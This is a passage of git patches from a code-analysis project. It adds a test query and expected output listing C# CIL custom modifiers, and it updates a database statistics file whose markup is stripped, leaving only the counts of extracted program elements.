_notifyWhenNoCallbacksRunning | System.Runtime.CompilerServices.IsVolatile | modreq | +| _oldKeepAlive | System.Runtime.CompilerServices.IsVolatile | modreq | +| _owner | System.Runtime.CompilerServices.IsVolatile | modreq | +| _pauseTicks | System.Runtime.CompilerServices.IsVolatile | modreq | +| _previous | System.Runtime.CompilerServices.IsVolatile | modreq | +| _queues | System.Runtime.CompilerServices.IsVolatile | modreq | +| _saDurationFormats | System.Runtime.CompilerServices.IsVolatile | modreq | +| _saLongTimes | System.Runtime.CompilerServices.IsVolatile | modreq | +| _saShortTimes | System.Runtime.CompilerServices.IsVolatile | modreq | +| _slotArray | System.Runtime.CompilerServices.IsVolatile | modreq | +| _state | System.Runtime.CompilerServices.IsVolatile | modreq | +| _tail | System.Runtime.CompilerServices.IsVolatile | modreq | +| _threadIDExecutingCallbacks | System.Runtime.CompilerServices.IsVolatile | modreq | +| _timer | System.Runtime.CompilerServices.IsVolatile | modreq | +| _version | System.Runtime.CompilerServices.IsVolatile | modreq | +| _waCalendars | System.Runtime.CompilerServices.IsVolatile | modreq | +| currentTimeZone | System.Runtime.CompilerServices.IsVolatile | modreq | +| g_nameCache | System.Runtime.CompilerServices.IsVolatile | modreq | +| get_Current | System.Runtime.InteropServices.InAttribute | modreq | +| get_Item | System.Runtime.InteropServices.InAttribute | modreq | +| m_Dispatchers | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_Next | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_array | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_channelData | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_combinedState | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_completionCountdown | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_completionEvent | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_continuationObject | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_currentCount | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_declaringType | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_etwProvider | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_eventData | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_eventObj | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_eventPipeProvider | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_exceptionalChildren | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_exceptionsHolder | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_faultExceptions | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_first | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_head | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_headIndex | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_internalCancellationRequested | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_isHandled | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_last | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_lock | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_mask | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_nameIsCached | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_rawManifest | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_signature | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_stateFlags | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_tail | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_tailIndex | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_taskId | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_taskSchedulerId | System.Runtime.CompilerServices.IsVolatile | modreq | +| m_waitHandle | System.Runtime.CompilerServices.IsVolatile | modreq | +| numOutstandingThreadRequests | System.Runtime.CompilerServices.IsVolatile | modreq | +| property Current | System.Runtime.InteropServices.InAttribute | modreq | +| property Item | System.Runtime.InteropServices.InAttribute | modreq | +| s_DefaultThreadCurrentCulture | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_DefaultThreadCurrentUICulture | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_Invariant | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_LcidCachedCultures | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_NameCachedCultures | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_anonymouslyHostedDynamicMethodsModule | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_cachedCultures | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_cachedRegions | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_currentRegionInfo | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_defaultBinder | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_defaultInstance | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_indentSize | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_initialized | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_invariant | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_invariantInfo | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_jajpDTFI | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_japaneseEraInfo | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_knownWords | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_lastProcessorCountRefreshTicks | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_processorCount | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_provider | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_providers | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_regionNames | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_userDefaultCulture | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_userDefaultUICulture | System.Runtime.CompilerServices.IsVolatile | modreq | +| s_zhtwDTFI | System.Runtime.CompilerServices.IsVolatile | modreq | +| set_Prop2 | System.Runtime.CompilerServices.IsExternalInit | modreq | +| threadPoolInitialized | System.Runtime.CompilerServices.IsVolatile | modreq | diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql new file mode 100644 index 00000000000..7b60eb6ca3d --- /dev/null +++ b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql @@ -0,0 +1,13 @@ +import semmle.code.cil.Type + +bindingset[kind] +private string getKind(int kind) { if kind = 1 then result = "modreq" else result = "modopt" } + +from string receiver, string modifier, int kind +where + exists(Type modType, CustomModifierReceiver cmr | + receiver = cmr.toString() and + cmr.hasCustomModifier(modType, kind) and + modType.getQualifiedName() = modifier + ) +select receiver, modifier, getKind(kind) From 8eeab8fdd0c65b19d032ba7effc1247b0a448555 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 17 Dec 2020 21:22:58 +0100 Subject: [PATCH 0306/1241] Add new stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 4604 +++++++++-------- 1 file changed, 2385 insertions(+), 2219 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index a640d36f28a..2f1944ff996 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -9,7 +9,7 @@ @extractor_message -8300 +8324 @externalDefect @@ -25,7 +25,7 @@ @duplication -22765 +22762 @similarity @@ -33,7 +33,7 @@ @location_default -14071874 +14071713 @assembly @@ -41,23 +41,23 @@ @file -42521 +42516 @folder -16951 +16959 @namespace -21970 +21967 @namespace_declaration -19785 +19783 @using_namespace_directive -144437 +144423 @using_static_directive @@ -117,23 +117,23 @@ @enum_type -11967 +11966 @struct_type -49729 +49724 @class_type -305489 +305459 @interface_type -178340 +178323 @delegate_type -107704 +107694 @null_type @@ -141,7 +141,7 @@ @type_parameter -202856 +202836 @pointer_type @@ -153,7 +153,7 @@ @array_type -9134 +9133 @void_type @@ -185,15 +185,15 @@ @typeref -235092 +235069 @attribute -750241 +750169 @type_mention -1268897 +1268774 @oblivious @@ -205,11 +205,11 @@ @annotated -116 +119 @type_parameter_constraints -611564 +611504 @modifier @@ -217,43 +217,43 @@ @property -424069 +424028 @indexer -17064 +17062 @getter -440899 +440856 @setter -127690 +127677 @event -15249 +15248 @add_event_accessor -15249 +15248 @remove_event_accessor -15249 +15248 @operator -12426 +12424 @method -1118291 +1118182 @constructor -277993 +277966 @destructor @@ -265,15 +265,15 @@ @addressable_field -370941 +370905 @constant -185451 +185433 @addressable_local_variable -162445 +162437 @local_constant @@ -285,19 +285,19 @@ @parameter -2420755 +2420521 @block_stmt -308440 +308410 @expr_stmt -367678 +367643 @return_stmt -96153 +96144 @using_block_stmt @@ -305,19 +305,19 @@ @var_decl_stmt -147916 +147908 @if_stmt -119121 +119110 @switch_stmt -3048 +3047 @while_stmt -4542 +4541 @do_stmt @@ -333,7 +333,7 @@ @break_stmt -10908 +10907 @continue_stmt @@ -345,7 +345,7 @@ @goto_case_stmt -348 +347 @goto_default_stmt @@ -353,7 +353,7 @@ @throw_stmt -74305 +74298 @yield_stmt @@ -361,7 +361,7 @@ @try_stmt -4323 +4322 @checked_stmt @@ -401,7 +401,7 @@ @case_stmt -22436 +22434 @local_function_stmt @@ -413,11 +413,11 @@ @bool_literal_expr -69497 +69491 @int_literal_expr -754675 +754082 @long_literal_expr @@ -429,63 +429,63 @@ @string_literal_expr -412282 +412242 @null_literal_expr -107765 +107754 @local_variable_access_expr -524163 +524140 @parameter_access_expr -357421 +357386 @field_access_expr -460216 +460172 @property_access_expr -359563 +359528 @type_access_expr -346906 +346978 @typeof_expr -30085 +30082 @method_invocation_expr -548159 +548142 @cast_expr -262773 +262747 @object_creation_expr -62848 +62842 @array_creation_expr -179161 +179114 @array_init_expr -178985 +178938 @local_var_decl_expr -163751 +163743 @char_literal_expr -15892 +15891 @decimal_literal_expr @@ -505,7 +505,7 @@ @this_access_expr -592573 +592516 @base_access_expr @@ -521,23 +521,23 @@ @indexer_access_expr -30797 +30794 @array_access_expr -19742 +19740 @delegate_invocation_expr -2139 +2138 @operator_invocation_expr -30001 +30005 @explicit_delegate_creation_expr -668 +667 @implicit_delegate_creation_expr @@ -545,7 +545,7 @@ @default_expr -6356 +6355 @plus_expr @@ -553,19 +553,19 @@ @minus_expr -7141 +7140 @bit_not_expr -741 +740 @log_not_expr -26417 +26415 @post_incr_expr -12562 +12561 @post_decr_expr @@ -581,7 +581,7 @@ @mul_expr -4625 +4624 @div_expr @@ -593,15 +593,15 @@ @add_expr -27873 +27870 @sub_expr -12838 +12837 @lshift_expr -4048 +4047 @rshift_expr @@ -609,27 +609,27 @@ @lt_expr -16291 +16290 @gt_expr -9584 +9583 @le_expr -3896 +3895 @ge_expr -6281 +6280 @eq_expr -53902 +53896 @ne_expr -37943 +37940 @bit_and_expr @@ -641,15 +641,15 @@ @bit_or_expr -14984 +14983 @log_and_expr -20826 +20824 @log_or_expr -14076 +14074 @is_expr @@ -661,15 +661,15 @@ @null_coalescing_expr -3682 +3681 @conditional_expr -9152 +9151 @simple_assign_expr -167416 +167400 @assign_add_expr @@ -701,7 +701,7 @@ @assign_or_expr -1392 +1391 @assign_lshift_expr @@ -713,7 +713,7 @@ @object_init_expr -7695 +7694 @collection_init_expr @@ -745,7 +745,7 @@ @lambda_expr -48831 +48826 @anonymous_method_expr @@ -765,7 +765,7 @@ @pointer_indirection_expr -4058 +4057 @address_of_expr @@ -777,15 +777,15 @@ @await_expr -54820 +54815 @nameof_expr -15929 +15927 @interpolated_string_expr -3045 +3043 @unknown_expr @@ -837,7 +837,7 @@ @switch_case_expr -4350 +4349 @assign_coalesce_expr @@ -845,7 +845,7 @@ @suppress_nullable_warning_expr -14400 +14399 @namespace_access_expr @@ -877,19 +877,19 @@ @singlelinecomment -184653 +184635 @multilinecomment -22099 +22097 @xmldoccomment -203638 +203619 @commentblock -144246 +144232 @asp_close_tag @@ -929,7 +929,7 @@ @cil_nop -819968 +819888 @cil_break @@ -937,127 +937,127 @@ @cil_ldarg_0 -3974727 +3974343 @cil_ldarg_1 -1216505 +1216387 @cil_ldarg_2 -443820 +443777 @cil_ldarg_3 -209137 +209117 @cil_ldloc_0 -929138 +929048 @cil_ldloc_1 -493861 +493814 @cil_ldloc_2 -288683 +288655 @cil_ldloc_3 -192034 +192016 @cil_stloc_0 -524897 +524847 @cil_stloc_1 -260476 +260451 @cil_stloc_2 -198286 +198267 @cil_stloc_3 -138282 +138269 @cil_ldarg_s -264485 +264459 @cil_ldarga_s -74761 +74754 @cil_starg_s -37171 +37167 @cil_ldloc_s -686291 +686225 @cil_ldloca_s -629174 +629113 @cil_stloc_s -480791 +480745 @cil_ldnull -603653 +603595 @cil_ldc_i4_m1 -126187 +126175 @cil_ldc_i4_0 -625516 +625456 @cil_ldc_i4_1 -494603 +494555 @cil_ldc_i4_2 -121018 +121006 @cil_ldc_i4_3 -64144 +64138 @cil_ldc_i4_4 -58873 +58867 @cil_ldc_i4_5 -38678 +38674 @cil_ldc_i4_6 -23262 +23260 @cil_ldc_i4_7 -20750 +20748 @cil_ldc_i4_8 -33479 +33476 @cil_ldc_i4_s -423289 +423248 @cil_ldc_i4 -510799 +510749 @cil_ldc_i8 @@ -1065,19 +1065,19 @@ @cil_ldc_r4 -10260 +10259 @cil_ldc_r8 -10329 +10328 @cil_dup -842101 +842020 @cil_pop -256438 +256413 @cil_jmp @@ -1085,7 +1085,7 @@ @cil_call -2741524 +2741258 @cil_calli @@ -1093,43 +1093,43 @@ @cil_ret -1786484 +1786312 @cil_br_s -345825 +345792 @cil_brfalse_s -465976 +465931 @cil_brtrue_s -430716 +430674 @cil_beq_s -82262 +82254 @cil_bge_s -34927 +34924 @cil_bgt_s -16498 +16496 @cil_ble_s -29202 +29199 @cil_blt_s -60935 +60930 @cil_bne_un_s -102662 +102652 @cil_bge_un_s @@ -1137,11 +1137,11 @@ @cil_bgt_un_s -8734 +8733 @cil_ble_un_s -6120 +6119 @cil_blt_un_s @@ -1149,19 +1149,19 @@ @cil_br -96161 +96152 @cil_brfalse -32396 +32393 @cil_brtrue -27334 +27331 @cil_beq -21511 +21509 @cil_bge @@ -1169,7 +1169,7 @@ @cil_bgt -1463 +1462 @cil_ble @@ -1177,11 +1177,11 @@ @cil_blt -7934 +7933 @cil_bne_un -7237 +7236 @cil_bge_un @@ -1201,7 +1201,7 @@ @cil_switch -23881 +23879 @cil_ldind_i1 @@ -1221,7 +1221,7 @@ @cil_ldind_i4 -9778 +9777 @cil_ldind_u4 @@ -1249,11 +1249,11 @@ @cil_stind_ref -16937 +16935 @cil_stind_i1 -8524 +8523 @cil_stind_i2 @@ -1261,7 +1261,7 @@ @cil_stind_i4 -10363 +10362 @cil_stind_i8 @@ -1277,19 +1277,19 @@ @cil_add -223997 +223975 @cil_sub -85290 +85282 @cil_mul -29953 +29950 @cil_div -9124 +9123 @cil_div_un @@ -1305,31 +1305,31 @@ @cil_and -59341 +59335 @cil_or -22150 +22148 @cil_xor -22716 +22714 @cil_shl -18970 +18969 @cil_shr -9178 +9177 @cil_shr_un -26110 +26108 @cil_neg -2336 +2335 @cil_not @@ -1337,7 +1337,7 @@ @cil_conv_i1 -1385 +1384 @cil_conv_i2 @@ -1345,11 +1345,11 @@ @cil_conv_i4 -59785 +59779 @cil_conv_i8 -50294 +50289 @cil_conv_r4 @@ -1361,15 +1361,15 @@ @cil_conv_u4 -7832 +7831 @cil_conv_u8 -19546 +19544 @cil_callvirt -2050618 +2050420 @cil_cpobj @@ -1377,23 +1377,23 @@ @cil_ldobj -12655 +12654 @cil_ldstr -926841 +926751 @cil_newobj -657138 +657074 @cil_castclass -97078 +97068 @cil_isinst -56454 +56448 @cil_conv_r_un @@ -1405,35 +1405,35 @@ @cil_throw -381265 +381228 @cil_ldfld -1676868 +1676706 @cil_ldflda -300734 +300705 @cil_stfld -1073204 +1073100 @cil_ldsfld -407381 +407341 @cil_ldsflda -2531 +2530 @cil_stsfld -130933 +130920 @cil_stobj -7022 +7021 @cil_conv_ovf_i1_un @@ -1477,19 +1477,19 @@ @cil_box -79848 +79840 @cil_newarr -112123 +112112 @cil_ldlen -55337 +55332 @cil_ldelema -9870 +9869 @cil_ldelem_i1 @@ -1497,7 +1497,7 @@ @cil_ldelem_u1 -15576 +15575 @cil_ldelem_i2 @@ -1505,19 +1505,19 @@ @cil_ldelem_u2 -6091 +6090 @cil_ldelem_i4 -17585 +17584 @cil_ldelem_u4 -19117 +19115 @cil_ldelem_i8 -11923 +11922 @cil_ldelem_i @@ -1533,7 +1533,7 @@ @cil_ldelem_ref -30704 +30701 @cil_stelem_i @@ -1549,11 +1549,11 @@ @cil_stelem_i4 -22828 +22826 @cil_stelem_i8 -9426 +9425 @cil_stelem_r4 @@ -1565,7 +1565,7 @@ @cil_stelem_ref -362987 +362952 @cil_ldelem @@ -1573,11 +1573,11 @@ @cil_stelem -53625 +53620 @cil_unbox_any -14391 +14390 @cil_conv_ovf_i1 @@ -1625,15 +1625,15 @@ @cil_ldtoken -71323 +71316 @cil_conv_u2 -4340 +4339 @cil_conv_u1 -11260 +11259 @cil_conv_i @@ -1673,15 +1673,15 @@ @cil_endfinally -56907 +56902 @cil_leave -66871 +66864 @cil_leave_s -149362 +149348 @cil_stind_i @@ -1689,7 +1689,7 @@ @cil_conv_u -5809 +5808 @cil_arglist @@ -1697,19 +1697,19 @@ @cil_ceq -96980 +96971 @cil_cgt -11568 +11567 @cil_cgt_un -36712 +36708 @cil_clt -19523 +19521 @cil_clt_un @@ -1717,7 +1717,7 @@ @cil_ldftn -79940 +79933 @cil_ldvirtftn @@ -1761,7 +1761,7 @@ @cil_volatile -8539 +8538 @cil_tail @@ -1769,11 +1769,11 @@ @cil_initobj -101789 +101779 @cil_constrained -25315 +25313 @cil_cpblk @@ -1801,15 +1801,15 @@ @cil_valueorreftype -595972 +595915 @cil_typeparameter -184987 +184969 @cil_array_type -14186 +14185 @cil_pointer_type @@ -1817,35 +1817,35 @@ @cil_method -2314557 +2314460 @cil_method_implementation -1727894 +1727727 @cil_field -1009591 +1009493 @cil_parameter -4552061 +4551786 @cil_property -380378 +380341 @cil_event -20867 +20865 @cil_local_variable -1152067 +1151956 @cil_catch_handler -43862 +43857 @cil_filter_handler @@ -1853,7 +1853,7 @@ @cil_finally_handler -55434 +55429 @cil_fault_handler @@ -1861,7 +1861,7 @@ @cil_attribute -328678 +328646 @@ -1919,7 +1919,7 @@ compilation_args -4818 +4593 id @@ -1945,12 +1945,12 @@ 4 5 -668 +892 5 6 -429 +204 @@ -1966,12 +1966,12 @@ 4 5 -668 +892 5 6 -429 +204 @@ -1985,8 +1985,8 @@ 12 -88 -89 +42 +43 4 @@ -2011,13 +2011,13 @@ 14 -88 -89 +42 +43 4 -138 -139 +184 +185 4 @@ -2037,7 +2037,7 @@ 1097 -88 +42 226 24 @@ -2070,7 +2070,7 @@ compilation_compiling_files -22613 +22611 id @@ -2078,11 +2078,11 @@ num -712 +711 file -22608 +22606 @@ -2420,7 +2420,7 @@ 1 2 -22604 +22601 2 @@ -2441,7 +2441,7 @@ 1 2 -22604 +22601 2 @@ -2456,7 +2456,7 @@ compilation_referencing_files -359719 +359684 id @@ -2664,7 +2664,7 @@ 224 225 -712 +711 225 @@ -2689,18 +2689,23 @@ 4 +5 +14 + + +5 6 -141 +570 6 -7 -531 +15 +214 -7 +15 21 -234 +229 21 @@ -2710,37 +2715,32 @@ 28 33 -238 +204 33 -39 -209 - - -39 -51 +43 214 -51 -61 +43 +55 +229 + + +55 +62 219 -61 -63 -165 +62 +64 +214 -63 -65 -195 - - -65 -71 -141 +64 +69 +180 @@ -2827,57 +2827,57 @@ 2 5 -277 +292 5 6 -336 +204 6 -8 -268 +7 +248 -8 -15 -277 - - -15 -23 -307 - - -23 -28 +7 +10 273 -28 -34 -263 +10 +18 +302 -35 -64 +18 +23 268 -64 -66 +23 +27 +277 + + +27 +58 263 -66 -70 -292 +58 +63 +263 -70 -73 -29 +63 +67 +282 + + +67 +71 +180 @@ -2887,7 +2887,7 @@ compilation_time -7681 +7680 id @@ -2903,7 +2903,7 @@ seconds -5730 +5710 @@ -2995,8 +2995,8 @@ 12 -1175 -1176 +1171 +1172 4 @@ -3043,8 +3043,8 @@ 12 -163 -164 +173 +174 4 @@ -3053,9 +3053,14 @@ 4 -181 -182 -9 +179 +180 +4 + + +183 +184 +4 225 @@ -3076,22 +3081,22 @@ 1 2 -4545 +4515 2 3 -668 +707 3 -5 -477 +6 +473 -5 -7 -39 +7 +9 +14 @@ -3107,7 +3112,7 @@ 1 2 -5730 +5710 @@ -3123,17 +3128,17 @@ 1 2 -4886 +4842 2 3 -731 +707 3 5 -112 +160 @@ -4376,11 +4381,11 @@ extractor_messages -8300 +8324 id -8300 +8324 severity @@ -4396,7 +4401,7 @@ entity -5343 +5344 location @@ -4404,7 +4409,7 @@ stack_trace -299 +303 @@ -4418,7 +4423,7 @@ 1 2 -8300 +8324 @@ -4434,7 +4439,7 @@ 1 2 -8300 +8324 @@ -4450,7 +4455,7 @@ 1 2 -8300 +8324 @@ -4466,7 +4471,7 @@ 1 2 -8300 +8324 @@ -4482,7 +4487,7 @@ 1 2 -8300 +8324 @@ -4498,7 +4503,7 @@ 1 2 -8300 +8324 @@ -4522,8 +4527,8 @@ 1 -8271 -8272 +8295 +8296 1 @@ -4585,8 +4590,8 @@ 1 -5337 -5338 +5338 +5339 1 @@ -4632,8 +4637,8 @@ 2 -298 -299 +302 +303 1 @@ -4648,8 +4653,8 @@ 12 -8300 -8301 +8324 +8325 1 @@ -4696,8 +4701,8 @@ 12 -5343 -5344 +5344 +5345 1 @@ -4728,8 +4733,8 @@ 12 -299 -300 +303 +304 1 @@ -4784,18 +4789,18 @@ 1 -324 -325 +326 +327 1 -626 -627 +650 +651 1 -2413 -2414 +2411 +2412 1 @@ -4852,8 +4857,8 @@ 2 -2 -3 +3 +4 1 @@ -4887,13 +4892,13 @@ 1 -274 -275 +275 +276 1 -1648 -1649 +1647 +1648 1 @@ -4948,13 +4953,13 @@ 1 -324 -325 +326 +327 1 -2019 -2020 +2017 +2018 1 @@ -4979,14 +4984,9 @@ 4 -2 -3 -1 - - -4 -5 -2 +3 +4 +3 7 @@ -4994,23 +4994,23 @@ 1 -10 -11 +9 +10 1 -11 -12 +13 +14 1 -74 -75 +79 +80 1 -184 -185 +183 +184 1 @@ -5037,7 +5037,7 @@ 3 384 -292 +293 @@ -5053,7 +5053,7 @@ 1 2 -5343 +5344 @@ -5069,7 +5069,7 @@ 1 2 -5343 +5344 @@ -5085,7 +5085,7 @@ 1 2 -5334 +5335 2 @@ -5106,7 +5106,7 @@ 1 2 -4655 +4656 2 @@ -5132,12 +5132,12 @@ 1 2 -5164 +5110 2 -8 -179 +7 +234 @@ -5161,8 +5161,8 @@ 911 -631 -632 +655 +656 1 @@ -5240,8 +5240,8 @@ 6758 -3 -4 +4 +5 1 @@ -5258,12 +5258,12 @@ 1 2 -6627 +6535 2 9 -132 +224 @@ -5279,52 +5279,52 @@ 1 2 -90 +85 2 3 -38 +33 3 4 -19 +25 4 5 -17 +20 5 7 -23 +21 7 -11 +12 26 -11 -21 +12 +22 25 -21 -43 +22 +39 23 -51 -116 +39 +80 23 -120 -737 -15 +85 +638 +22 @@ -5340,7 +5340,7 @@ 1 2 -298 +302 2 @@ -5361,7 +5361,7 @@ 1 2 -299 +303 @@ -5377,7 +5377,7 @@ 1 2 -298 +302 2 @@ -5398,47 +5398,47 @@ 1 2 -109 +101 2 3 -37 +36 3 4 -23 +28 4 5 -17 +15 5 7 -24 +28 7 -11 -24 +12 +26 -11 -22 -24 - - -22 -68 +12 +23 23 -72 -590 -18 +23 +55 +23 + + +55 +502 +23 @@ -5454,52 +5454,52 @@ 1 2 -103 +96 2 3 -36 +33 3 4 -23 +30 4 -5 -16 +6 +27 -5 -7 -20 +6 +9 +24 -7 -11 +9 +16 23 -11 -20 +17 +30 23 -20 -51 +30 +71 23 -51 -148 +71 +416 23 -219 -737 -9 +637 +638 +1 @@ -5517,7 +5517,7 @@ cpu_seconds -936 +989 elapsed_seconds @@ -5567,17 +5567,17 @@ 1 2 -794 +887 2 3 -126 +97 3 -5 -14 +4 +4 @@ -5593,17 +5593,17 @@ 1 2 -794 +887 2 3 -126 +97 3 -5 -14 +4 +4 @@ -6297,11 +6297,11 @@ duplicateCode -22765 +22762 id -22765 +22762 relativePath @@ -6323,7 +6323,7 @@ 1 2 -22765 +22762 @@ -6339,7 +6339,7 @@ 1 2 -22765 +22762 @@ -6482,7 +6482,7 @@ 3 4 -1146 +1145 4 @@ -6523,7 +6523,7 @@ 2 3 -3443 +3442 3 @@ -8626,11 +8626,11 @@ locations_default -14071874 +14071713 id -14071874 +14071713 file @@ -8664,7 +8664,7 @@ 1 2 -14071874 +14071713 @@ -8680,7 +8680,7 @@ 1 2 -14071874 +14071713 @@ -8696,7 +8696,7 @@ 1 2 -14071874 +14071713 @@ -8712,7 +8712,7 @@ 1 2 -14071874 +14071713 @@ -8728,7 +8728,7 @@ 1 2 -14071874 +14071713 @@ -9103,12 +9103,12 @@ 105 123 -482 +483 123 148 -470 +469 148 @@ -9472,13 +9472,13 @@ 110 -5448 -74973 +5447 +74974 110 76216 -2221250 +2221228 24 @@ -10077,7 +10077,7 @@ 124 -82672 +82670 908062 42 @@ -10856,7 +10856,7 @@ fullname -3443 +3442 name @@ -11006,7 +11006,7 @@ 1 2 -2682 +2681 2 @@ -11027,7 +11027,7 @@ 1 2 -2682 +2681 2 @@ -11048,7 +11048,7 @@ 1 2 -3443 +3442 @@ -11064,7 +11064,7 @@ 1 2 -3443 +3442 @@ -11332,19 +11332,19 @@ files -42521 +42516 id -42521 +42516 name -42521 +42516 simple -22964 +22962 ext @@ -11366,7 +11366,7 @@ 1 2 -42521 +42516 @@ -11382,7 +11382,7 @@ 1 2 -42521 +42516 @@ -11398,7 +11398,7 @@ 1 2 -42521 +42516 @@ -11414,7 +11414,7 @@ 1 2 -42521 +42516 @@ -11430,7 +11430,7 @@ 1 2 -42521 +42516 @@ -11446,7 +11446,7 @@ 1 2 -42521 +42516 @@ -11462,7 +11462,7 @@ 1 2 -42521 +42516 @@ -11478,7 +11478,7 @@ 1 2 -42521 +42516 @@ -11494,7 +11494,7 @@ 1 2 -21555 +21553 2 @@ -11515,7 +11515,7 @@ 1 2 -21555 +21553 2 @@ -11536,12 +11536,12 @@ 1 2 -22174 +22172 2 5 -790 +789 @@ -11557,7 +11557,7 @@ 1 2 -22964 +22962 @@ -11795,19 +11795,19 @@ folders -16951 +16959 id -16951 +16959 name -14732 +14741 simple -2774 +2779 @@ -11821,7 +11821,7 @@ 1 2 -16951 +16959 @@ -11837,7 +11837,7 @@ 1 2 -16951 +16959 @@ -11853,7 +11853,7 @@ 1 2 -14732 +14741 @@ -11869,7 +11869,7 @@ 1 2 -12513 +12522 2 @@ -11890,17 +11890,17 @@ 1 2 -1819 +1823 2 3 -380 +375 3 4 -199 +204 4 @@ -11926,17 +11926,17 @@ 1 2 -1819 +1823 2 3 -380 +375 3 4 -199 +204 4 @@ -11956,15 +11956,15 @@ containerparent -57244 +57248 parent -14732 +14741 child -57244 +57248 @@ -11978,12 +11978,12 @@ 1 2 -8261 +8265 2 3 -1936 +1940 3 @@ -11998,7 +11998,7 @@ 5 9 -1107 +1106 9 @@ -12007,7 +12007,7 @@ 18 -171 +170 546 @@ -12024,7 +12024,7 @@ 1 2 -57244 +57248 @@ -12034,11 +12034,11 @@ file_extraction_mode -26812 +26810 file -26812 +26810 mode @@ -12056,7 +12056,7 @@ 1 2 -26812 +26810 @@ -12082,15 +12082,15 @@ namespaces -21970 +21967 id -21970 +21967 name -4896 +4895 @@ -12104,7 +12104,7 @@ 1 2 -21970 +21967 @@ -12160,11 +12160,11 @@ namespace_declarations -19785 +19783 id -19785 +19783 namespace_id @@ -12182,7 +12182,7 @@ 1 2 -19785 +19783 @@ -12243,15 +12243,15 @@ namespace_declaration_location -19785 +19783 id -19785 +19783 loc -19785 +19783 @@ -12265,7 +12265,7 @@ 1 2 -19785 +19783 @@ -12281,7 +12281,7 @@ 1 2 -19785 +19783 @@ -12291,15 +12291,15 @@ parent_namespace -778054 +777978 child_id -778054 +777978 namespace_id -13572 +13570 @@ -12313,7 +12313,7 @@ 1 2 -778054 +777978 @@ -12339,7 +12339,7 @@ 3 4 -1029 +1028 4 @@ -12369,7 +12369,7 @@ 23 51 -1029 +1028 51 @@ -12389,15 +12389,15 @@ parent_namespace_declaration -88416 +88408 child_id -87899 +87891 namespace_id -19785 +19783 @@ -12411,7 +12411,7 @@ 1 2 -87748 +87740 2 @@ -12432,7 +12432,7 @@ 1 2 -13796 +13795 2 @@ -12467,15 +12467,15 @@ using_namespace_directives -144437 +144423 id -144437 +144423 namespace_id -4233 +4232 @@ -12489,7 +12489,7 @@ 1 2 -144437 +144423 @@ -12648,15 +12648,15 @@ using_directive_location -144495 +144481 id -144495 +144481 loc -144451 +144437 @@ -12670,7 +12670,7 @@ 1 2 -144495 +144481 @@ -12686,7 +12686,7 @@ 1 2 -144407 +144393 2 @@ -12701,11 +12701,11 @@ types -868275 +868191 id -868275 +868191 kind @@ -12713,7 +12713,7 @@ name -367327 +367292 @@ -12727,7 +12727,7 @@ 1 2 -868275 +868191 @@ -12743,7 +12743,7 @@ 1 2 -868275 +868191 @@ -12841,17 +12841,17 @@ 1 2 -325026 +324994 2 5 -28875 +28872 5 6356 -13425 +13424 @@ -12867,7 +12867,7 @@ 1 2 -365888 +365853 2 @@ -12882,15 +12882,15 @@ typerefs -235092 +235069 id -235092 +235069 name -177209 +177192 @@ -12904,7 +12904,7 @@ 1 2 -235092 +235069 @@ -12920,17 +12920,17 @@ 1 2 -162642 